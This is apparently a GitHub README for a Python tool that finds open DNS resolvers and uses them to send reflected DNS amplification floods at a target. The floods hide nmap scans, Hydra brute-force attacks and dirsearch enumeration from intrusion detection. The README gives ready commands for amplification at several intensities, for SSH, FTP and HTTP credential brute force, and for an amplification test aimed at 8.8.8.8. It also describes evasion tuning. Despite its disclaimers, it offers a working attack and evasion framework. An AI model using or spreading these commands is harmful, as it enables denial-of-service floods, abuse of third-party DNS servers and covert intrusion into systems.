https://github.com/toxy4ny/vacuum_and_masquerade-
DNS - Server Amplification Scanner and Masker - Advanced Penetration Testing Framework
https://github.com/toxy4ny/vacuum_and_masquerade-
amplification amplification-attacks cybersecurity cybersecurity-education cybersecurity-tools dirsearch dns dns-server fuzzer hydra nmap pentest pentesting redteam redteam-tools scanner vulnerability vulnerability-scanners waf-bypass
Last synced: 5 days ago
JSON representation
DNS - Server Amplification Scanner and Masker - Advanced Penetration Testing Framework
- Host: GitHub
- URL: https://github.com/toxy4ny/vacuum_and_masquerade-
- Owner: toxy4ny
- License: mit
- Created: 2025-07-21T16:06:33.000Z (11 months ago)
- Default Branch: main
- Last Pushed: 2025-07-21T16:24:22.000Z (11 months ago)
- Last Synced: 2025-07-21T18:42:39.791Z (11 months ago)
- Topics: amplification, amplification-attacks, cybersecurity, cybersecurity-education, cybersecurity-tools, dirsearch, dns, dns-server, fuzzer, hydra, nmap, pentest, pentesting, redteam, redteam-tools, scanner, vulnerability, vulnerability-scanners, waf-bypass
- Language: Python
- Homepage:
- Size: 24.4 KB
- Stars: 2
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# π The Vacuum a DNS Amplification Scaner & The Masquerade a DNS Amplification Masker.
[](https://www.python.org/downloads/)
[](https://opensource.org/licenses/MIT)
[]()
[]()
> **β οΈ DISCLAIMER: This tool is for educational and authorized penetration testing purposes only. Use only on systems you own or have explicit permission to test.**
## π Table of Contents
- [Overview](#-overview)
- [Features](#-features)
- [Architecture](#-architecture)
- [Installation](#-installation)
- [Quick Start](#-quick-start)
- [Usage Examples](#-usage-examples)
- [Configuration](#-configuration)
- [Advanced Features](#-advanced-features)
- [Detection Evasion](#-detection-evasion)
- [Contributing](#-contributing)
- [Legal Notice](#-legal-notice)
## π― Overview
**DNS Amplification Masker** is an advanced penetration testing framework that uses **DNS amplification attacks** to mask legitimate security scanning activities. By generating massive volumes of amplified DNS traffic directed at the target, it creates a "noise screen" that helps security tools like `nmap`, `hydra`, and `dirsearch` operate undetected.
### π¬ How It Works
```mermaid
graph TD
A[Masker] -->|1. Load vulnerable DNS servers| B[DNS Report]
A -->|2. Start amplification| C[DNS Reflectors]
A -->|3. Launch security scan| D[Target Systems]
C -->|Amplified traffic| E[Target Network]
D -->|Scan traffic| E
E -->|Mixed traffic| F[IDS/IPS/WAF]
F -->|Difficult to detect| G[Legitimate scan traffic hidden]
style A fill:#ff6b6b
style C fill:#4ecdc4
style E fill:#ffe66d
style F fill:#ff8b94
```
## β¨ Features
### π οΈ **Supported Security Tools**
- **π‘ Nmap** - Port scanning and service detection
- **βοΈ Hydra** - Brute force authentication attacks
- **π Dirsearch** - Directory and file enumeration
- **π― Multi-target** - Bulk scanning capabilities
- **π Web Scanning** - Comprehensive web application testing
### π **Masking Capabilities**
- **4 Intensity Levels**: `light`, `medium`, `heavy`, `extreme`
- **Weighted DNS Selection**: Prioritizes high-amplification servers
- **Dynamic Boost**: Increases masking when successful attacks detected
- **Burst Mode**: Short-term intensive amplification for critical moments
- **Background Masking**: Long-duration stealth coverage
### π **Intelligence Features**
- **Real-time Statistics**: Live monitoring of amplification volume
- **Smart Detection**: Automatically identifies successful attacks
- **Result Logging**: Timestamped output files
- **Graceful Shutdown**: Clean termination on interruption
- **Resource Management**: Automatic cleanup of temporary files
## ποΈ Architecture
### π Project Structure
```
/vacuum_and_masquerade/
βββ π masquerade.py # Main masking framework
βββ π vacuum.py # DNS vulnerability scanner
βββ π README.md # This file
```
### π§ Core Components
```python
class DNSAmplificationMasker:
βββ ποΈ DNS Server Management
β βββ load_vulnerable_dns_servers()
β βββ weighted_dns_choice()
β βββ create_amplified_packet()
β
βββ π Masking Operations
β βββ start_masking()
β βββ amplification_worker()
β βββ boost_masking()
β βββ stop_masking()
β
βββ π οΈ Tool Integration
β βββ masked_nmap_scan()
β βββ masked_hydra_attack()
β βββ masked_dirsearch()
β βββ masked_comprehensive_web_scan()
β
βββ π Monitoring & Stats
βββ stats_monitor()
βββ signal_handler()
```
## π Installation
### π Prerequisites
```bash
# Ubuntu/Debian
sudo apt-get update
sudo apt-get install python3 python3-pip nmap hydra git
# Install dirsearch
pip3 install dirsearch
# OR
git clone https://github.com/maurosoria/dirsearch.git
```
### β¬οΈ Install DNS Amplification Masker
```bash
# Clone repository
git clone https://github.com/toxy4ny/vacuum_and_masquerade.git
cd vacuum_and_masquerade
chmod +x masquerade.py vacuum.py
```
### π Find Vulnerable DNS Servers
```bash
# Scan for vulnerable DNS servers first
sudo python3 vacuum.py --output dns_report.json --threads 50 --timeout 5
# This creates the required DNS amplification report
```
## π Quick Start
### 1οΈβ£ **Basic Nmap Scan with Masking**
```bash
sudo python3 masquerade.py --dns-report dns_report.json nmap \
--target 192.168.1.0/24 \
--args "-p 22,80,443 -sV" \
--intensity medium
```
### 2οΈβ£ **Web Directory Enumeration**
```bash
python3 masquerade.py --dns-report dns_report.json dirsearch \
--url https://example.com \
--extensions "php,html,js,txt" \
--intensity heavy
```
### 3οΈβ£ **SSH Brute Force Attack**
```bash
python3 masquerade.py --dns-report dns_report.json hydra \
--target ssh://192.168.1.100 \
--service ssh \
--userlist examples/users.txt \
--passlist examples/passwords.txt \
--intensity extreme
```
## π Usage Examples
### π **Comprehensive Web Application Testing**
```bash
# Full web security assessment (nmap + dirsearch + hydra)
python3 masquerade.py --dns-report dns_report.json webscan \
--url https://target-webapp.com \
--intensity heavy
```
**What this does:**
1. **Phase 1**: Port scan (80, 443, 8080, 8443) with service detection
2. **Phase 2**: Directory enumeration with common web extensions
3. **Phase 3**: HTTP authentication brute force on discovered endpoints
### π― **Multi-Target Directory Scanning**
```bash
# Create target list
echo -e "https://site1.com\nhttps://site2.com\nhttps://api.site3.com" > targets.txt
# Bulk directory scanning with masking
python3 masquerade.py --dns-report dns_report.json multidirsearch \
--targets targets.txt \
--extensions "php,asp,jsp,json,xml" \
--intensity extreme
```
### π§ **Advanced Nmap with Custom Arguments**
```bash
# Stealth SYN scan with OS detection and script scanning
sudo python3 masquerade.py --dns-report dns_report.json nmap \
--target 10.0.0.0/8 \
--args "-sS -O --script=vuln,exploit -T2" \
--scan-delay 200 \
--intensity heavy
```
### βοΈ **Multi-Service Brute Force**
```bash
# SSH brute force
python3 masquerade.py --dns-report dns_report.json hydra \
--target 192.168.1.100 \
--service ssh \
--args "-t 1 -W 60" \
--intensity extreme
# HTTP basic auth
python3 masquerade.py --dns-report dns_report.json hydra \
--target http://192.168.1.100/admin \
--service http-get \
--args '"/admin"' \
--intensity heavy
# FTP brute force
python3 masquerade.py --dns-report dns_report.json hydra \
--target ftp://192.168.1.100 \
--service ftp \
--intensity medium
```
### π **Custom Dirsearch with Wordlists**
```bash
# Using custom wordlist and recursive scanning
python3 masquerade.py --dns-report dns_report.json dirsearch \
--url https://target.com \
--wordlist wordlists/big.txt \
--args "--recursive --deep-recursive --random-user-agents" \
--extensions "php,asp,aspx,jsp,do,action" \
--intensity extreme
```
## βοΈ Configuration
### ποΈ **Masking Intensity Levels**
| Intensity | Threads | Rate (pps) | Burst Size | Use Case |
|-----------|---------|------------|------------|----------|
| `light` | 3 | 10 | 5 | Basic stealth scanning |
| `medium` | 5 | 50 | 10 | Standard penetration testing |
| `heavy` | 8 | 100 | 20 | Advanced red team operations |
| `extreme` | 12 | 200 | 30 | High-security environments |
### π **DNS Server Selection Logic**
```python
# Servers are weighted by amplification factor
Top 20% servers = High-amplification servers (1000x+)
Selection weight = amplification_factor * availability_score
# Example: Server with 5000x amplification gets 5000x selection probability
# vs server with 100x amplification
```
### π― **Target Parsing Examples**
```bash
# Single IP
--target 192.168.1.100
# IP range (CIDR)
--target 192.168.1.0/24
# Domain name
--target example.com
# URL (for web tools)
--url https://example.com:8080/app
# Multiple targets file
echo -e "192.168.1.100\n10.0.0.50\nexample.com" > targets.txt
```
## π¬ Advanced Features
### π **Dynamic Masking Boost**
The masker automatically increases amplification when successful attacks are detected:
```python
# Automatic boost triggers
β
Nmap discovers open ports β Boost masking
β
Hydra finds valid credentials β Extreme boost
β
Dirsearch finds resources β Burst amplification
β‘ Each boost adds 30-300 seconds of intense masking
```
### π **Real-Time Statistics**
```bash
π Live stats during operation:
β±οΈ Runtime: 145.2 seconds
π¦ Packets sent: 12,450
π Average PPS: 85.6
π₯ Amplification: ~2.1 GB traffic generated
π― Active DNS servers: 15/87
```
### π‘οΈ **Stealth Configuration**
```bash
# Nmap stealth settings (auto-applied)
-T2 # Polite timing
--scan-delay 100ms # Minimum delays
-sS # SYN stealth scan
# Hydra stealth settings
-t 1 # Single thread
-W 30 # 30s between attempts
-f # Stop at first success
# Dirsearch stealth settings
--delay 2 # 2s between requests
--max-rate 10 # Max 10 req/sec
--random-user-agents # Randomized headers
--threads 5 # Limited concurrency
```
### π **Automatic Result Saving**
```bash
# Output files created automatically
dirsearch_example_com_20241201_143052.txt
nmap_scan_192_168_1_0_20241201_143105.xml
hydra_results_20241201_143200.txt
# Log files
masker.log # Detailed operation log
amplification_stats.json # Performance metrics
```
## π΅οΈ Detection Evasion
### π **Traffic Mixing Strategy**
```mermaid
graph LR
A[Legitimate Scan] --> B{IDS/IPS}
C[DNS Amplification x1000] --> B
D[Other Network Traffic] --> B
B --> E[Mixed Traffic Analysis]
E --> F[Difficult Detection]
style C fill:#ff6b6b
style F fill:#51cf66
```
### β‘ **Amplification Effectiveness**
```bash
# Typical amplification results
DNS Query (64 bytes) β Response (4,096 bytes) = 64x amplification
Target receives: Your 1 packet + 64x amplified packets mix
# With 50 vulnerable DNS servers:
Your scan: 1 packet/sec
Background: 3,200 amplified packets/sec
Detection difficulty: 99.97% noise vs 0.03% signal
```
### π― **Timing Strategies**
```python
# Smart timing patterns
scan_timing = {
'burst_during_finds': True, # Amplify when finding results
'background_masking': True, # Constant low-level noise
'random_delays': True, # Unpredictable intervals
'distributed_sources': True # Multiple DNS reflectors
}
```
## π§ Tool Integration Details
### π‘ **Nmap Integration**
```bash
# Supported Nmap features
β
All scan types: -sS, -sT, -sU, -sA, -sW, -sM
β
Port specifications: -p 22,80,443 or -p 1-65535
β
Service detection: -sV, -sC, --script
β
OS detection: -O, -A
β
Timing controls: -T0 through -T5
β
Output formats: -oN, -oX, -oG, -oA
# Auto-applied stealth settings
--scan-delay 100ms # Minimum packet delay
-T2 # Polite timing template
--max-rate 50 # Max 50 packets/sec
```
### βοΈ **Hydra Integration**
```bash
# Supported services
ssh, ftp, http-get, http-post-form, https-get, telnet,
smtp, pop3, imap, rdp, vnc, mysql, postgres, oracle,
mssql, mongodb, redis, snmp, ldap, smb
# Stealth optimizations
-t 1 # Single thread mode
-W 30 # 30 seconds between attempts
-f # Exit after first successful login
-v # Verbose output for monitoring
```
### π **Dirsearch Integration**
```bash
# Key features enabled
β
Recursive directory scanning
β
Custom wordlists and extensions
β
Random User-Agent rotation
β
Response filtering and exclusions
β
Rate limiting and delays
β
HTTP/HTTPS support with custom ports
# Performance settings
--delay 2 # 2 seconds between requests
--timeout 10 # 10 second timeout
--max-rate 10 # Maximum 10 requests/second
--threads 5 # 5 concurrent threads maximum
```
## π Troubleshooting
### β **Common Issues**
```bash
# "Permission denied" when sending packets
Solution: Run with sudo privileges
sudo python3 masquerade.py ...
# "No vulnerable DNS servers found"
Solution: Run vacuum.py first to find amplifiers
sudo python3 vacuum.py --output dns_report.json
# "Tool not found" errors
Solution: Install missing tools
sudo apt-get install nmap hydra
pip3 install dirsearch
# Low amplification effectiveness
Solution: Use --intensity extreme and more DNS servers
python3 vacuum.py --timeout 10 --threads 100
```
### π **Performance Tuning**
```bash
# For high-performance environments
--intensity extreme # Maximum threads and rate
--threads 100 # More DNS discovery threads (vacuum.py)
--timeout 3 # Faster DNS timeouts
# For stealth environments
--intensity light # Minimal footprint
--scan-delay 500 # Longer delays between packets
--max-rate 5 # Very low packet rate
```
### π **Debugging**
```bash
# Enable verbose logging
export PYTHONPATH="${PYTHONPATH}:."
python3 -v masker.py ...
# Check log files
tail -f masquerade.log
tail -f /var/log/syslog # System-level networking
# Test amplification manually
sudo python3 masquerade.py --dns-report dns_report.json amplify \
--target 8.8.8.8 --intensity light --duration 60
```
## π€ Contributing
We welcome contributions! Please follow these guidelines:
### π§ **Development Setup**
```bash
# Fork and clone
git clone https://github.com/toxy4ny/vacuum_and_masquerade.git
cd vacuum_and_masquerade
# Create development environment
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
# Install development dependencies
pip3 install pytest black flake8 mypy
```
### π **Code Standards**
```bash
# Before submitting PR, run:
black masquerade.py # Code formatting
flake8 masquerade.py # Linting
mypy masquerade.py # Type checking
pytest tests/ # Unit tests
```
### π― **Contribution Areas**
- π οΈ **Tool Integration**: Add support for new security tools
- π **Detection Methods**: Improve DNS server discovery
- β‘ **Performance**: Optimize amplification algorithms
- π **Evasion**: Enhance stealth techniques
- π **Documentation**: Improve guides and examples
- π§ͺ **Testing**: Add unit tests and integration tests
## βοΈ Legal Notice
### π¨ **Important Legal Information**
```
β οΈ DISCLAIMER: This tool is designed for authorized penetration testing,
security research, and educational purposes only.
β
AUTHORIZED USE:
β’ Your own systems and networks
β’ Systems with explicit written permission
β’ Authorized penetration testing engagements
β’ Educational labs and training environments
β UNAUTHORIZED USE:
β’ Any system without explicit permission
β’ Infrastructure you do not own or control
β’ Networks without proper authorization
β’ Any illegal or malicious activities
π RESPONSIBILITY:
Users are solely responsible for ensuring compliance with all
applicable laws, regulations, and policies in their jurisdiction.
```
### π **Compliance Guidelines**
1. **π Always obtain written authorization** before testing any system
2. **π Document all testing activities** and maintain audit trails
3. **β° Respect scope and time limitations** of authorized testing
4. **π Stop immediately** if any unintended impact occurs
5. **π Report findings responsibly** through proper channels
### π **Legal Considerations by Region**
- **πΊπΈ United States**: Computer Fraud and Abuse Act (CFAA)
- **πͺπΊ European Union**: General Data Protection Regulation (GDPR)
- **π¬π§ United Kingdom**: Computer Misuse Act 1990
- **π¦πΊ Australia**: Telecommunications Act 1997
- **π Other regions**: Consult local cybersecurity and computer crime laws
## π License
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
```
MIT License - Key Points:
β
Commercial use allowed
β
Modification allowed
β
Distribution allowed
β
Private use allowed
β οΈ Limitation of liability
β οΈ No warranty provided
```
### π **Project Statistics**




---
**π DNS Amplification Scanner & Masker - Advanced Penetration Testing Framework**
Made with β€οΈ by the Security Research Community
*"In the art of war, stealth is the ultimate weapon"*